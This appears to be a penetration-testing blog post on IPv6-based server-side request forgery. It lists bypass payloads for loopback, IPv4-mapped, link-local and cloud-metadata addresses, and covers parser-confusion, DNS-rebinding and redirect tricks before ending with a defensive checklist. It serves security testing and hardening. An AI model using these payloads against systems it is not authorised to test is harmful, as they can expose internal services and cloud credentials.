Moslem Haghighian
Research

IPv6-Based SSRF: Techniques and Practical Payloads

Practical IPv6-based SSRF techniques, real-world payloads, and testing notes for penetration testers and bug bounty hunters — where IPv4-only filters fail.

External link →

Authorized testing only. Use these techniques exclusively on systems you own or have explicit written permission to assess.

Server-Side Request Forgery (SSRF) lets an attacker coerce a server into making unintended requests to internal or otherwise protected resources. Many defenses still focus on IPv4 literals such as 127.0.0.1 and 169.254.169.254, while IPv6 and IPv4-mapped forms get weaker validation — creating a reliable bypass class in dual-stack environments.

This write-up covers practical IPv6 SSRF techniques, payload examples, and notes that matter during real assessments.

1. IPv6 loopback bypass

The IPv6 loopback ::1 reaches localhost and often evades filters that only block 127.0.0.1.

http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[0000:0000:0000:0000:0000:0000:0000:0001]/

Zero-padding and expanded forms can defeat weak regex blocklists that only match ::1.

2. IPv4 embedded in IPv6 (IPv4-mapped)

IPv4 addresses can be embedded in IPv6 notation, bypassing IPv4-only denylists.

http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::ffff:7f00:1]/
http://[::ffff:a9fe:a9fe]/              # 169.254.169.254 in hex words

Some stacks also accept unusual encodings inside or beside mapped forms (behavior is implementation-dependent):

http://[::ffff:2130706433]/            # decimal form of 127.0.0.1 (where accepted)
http://[::ffff:0x7f.0.0.1]/            # hex octet style (where accepted)
http://[::ffff:0251.254.169.254]/      # octal-style 169.254.169.254 (AWS metadata)
http://0x7f000001/                       # hex IPv4 without brackets (legacy parsers)

Treat “works on my target” as the rule: always verify how that HTTP client and OS resolve the address.

3. Normalization and shorthand confusion

IPv6 allows many equivalent representations. Validation and the outbound client may disagree after compression/expansion.

http://[0000::1]/
http://[::]/
http://[::127.0.0.1]/

If one layer string-matches and another calls getaddrinfo / inet_pton, bypasses appear.

4. Userinfo / @ parser discrepancies

Credentials in the authority section can split what the security check “sees” from what the HTTP client connects to.

http://example.com@[::1]/
http://user:pass@[::ffff:127.0.0.1]/

Classic pattern: validator treats example.com as host; client uses the address after @.

Link-local addresses are local-segment only, but in dual-stack internal networks they can still reach adjacent services.

http://[fe80::1]/
http://[fe80::]/

On Linux, a zone identifier (interface) is often required, e.g. %eth0, and must be URL-encoded as %25eth0:

http://[fe80::1%25eth0]/

6. Zone identifier injection

Interface / zone suffixes can confuse naive parsers or decoders.

http://[::ffff:127.0.0.1%25eth0]/
http://[fe80::1%25en0]/

Encode % as %25. On Windows, numeric zone IDs (e.g. %1%251) are common.

7. DNS rebinding with IPv6

DNS rebinding can move a “trusted” hostname onto an internal IPv6 / mapped address after the first check.

attacker-domain.com  →  203.0.113.1          (first resolve: public)
attacker-domain.com  →  ::ffff:169.254.169.254  (later: cloud metadata)

Example metadata targets (when reachable via mapped IPv6):

http://[::ffff:169.254.169.254]/latest/meta-data/     # AWS
http://[::ffff:169.254.169.254]/metadata/             # GCP

Also try IPv6-aware metadata endpoints where the cloud provider exposes them.

8. Redirect chain abuse

If validation only inspects the first URL, redirect chains can land on an internal IPv6 target.

http://redirect1.example → 302 → http://redirect2.example → 302 → http://[::1]/

Test with open redirectors you control, and confirm whether the app follows redirects server-side.

9. Unicode digit mixing (rare)

Full-width Unicode digits may slip past naïve regexes, then normalize to ASCII before the request.

http://[::1]/
http://[::ffff:127.0.0.1]/

Low hit-rate in modern stacks, but cheap to include in fuzz lists.

10. Dynamic DNS helpers (nip.io / sslip.io)

Services that embed IPs in hostnames help when raw IP literals are blocked. Do not put brackets in DNS labels — brackets are URL IP-literal syntax, not hostname syntax.

Useful patterns:

http://127.0.0.1.nip.io/
http://127.0.0.1.sslip.io/
http://--1.sslip.io/                 # common sslip.io form for ::1
http://127-0-0-1.nip.io/

Confirm current provider syntax against their docs; formats change and IPv6 support varies.

11. HTTP version / Host-header quirks

Legacy paths may validate HTTP/1.1 differently from HTTP/1.0, or trust Host inconsistently:

GET / HTTP/1.0
Host: [::1]

Worth probing when the app fronts mixed runtimes or old reverse proxies.

12. Unique Local Addresses (ULA)

ULA (fc00::/7, commonly fd00::/8 locally assigned) is the IPv6 analogue of RFC1918. IPv4-only private-space blocklists often miss it.

http://[fc00::1]/
http://[fd00::1]/

13. Blocklist / CIDR gaps

Denylists that string-match ::1 but allow 0:0:0:0:0:0:0:1, or that omit ULA / link-local / IPv4-mapped ranges, are common failure modes.

Defensive tip: normalize with a real IP parser (inet_pton / equivalent), expand to a canonical form, then apply policy — never filter on the raw URL substring alone.


Key considerations when testing

AreaWhy it matters
EnvironmentMeaningful only where IPv6 or dual-stack is actually enabled end-to-end
NormalizationValidate after parse/normalize, not on the original string
Parser consistencyURL library ≠ DNS resolver ≠ HTTP client ≠ OS stack
IPv4-mapped IPv6::ffff:127.0.0.1 may be treated as IPv4 by the kernel but as IPv6 by app filters
Zone IDsOS-specific; must be correctly percent-encoded in URLs
Cloud metadataPrefer IMDSv2 / metadata-hop limits; still probe mapped forms in assessments

Defensive checklist (for builders)

  1. Allowlist outbound destinations where possible (not denylist).
  2. Parse hostnames/IPs with a standards-aware library; reject non-canonical forms you do not explicitly support.
  3. After resolution, classify addresses: loopback, link-local, ULA, multicast, IPv4-mapped, metadata ranges — deny by default.
  4. Disable or strictly limit HTTP redirects on server-side fetches.
  5. Pin metadata access (IMDSv2, firewall egress rules, no instance metadata from app networks).
  6. Log the resolved address, not only the attacker-supplied URL.

Final thoughts

IPv6 SSRF is still under-tested relative to IPv4. In real pentests and bug bounty programs, simple mapped or loopback IPv6 payloads regularly surface localhost services, internal APIs, and cloud metadata paths that IPv4-only filters miss.

Normalize relentlessly, assume parser disagreement, and keep a short IPv6 payload set in every SSRF checklist.


Originally published on Medium. Happy hunting.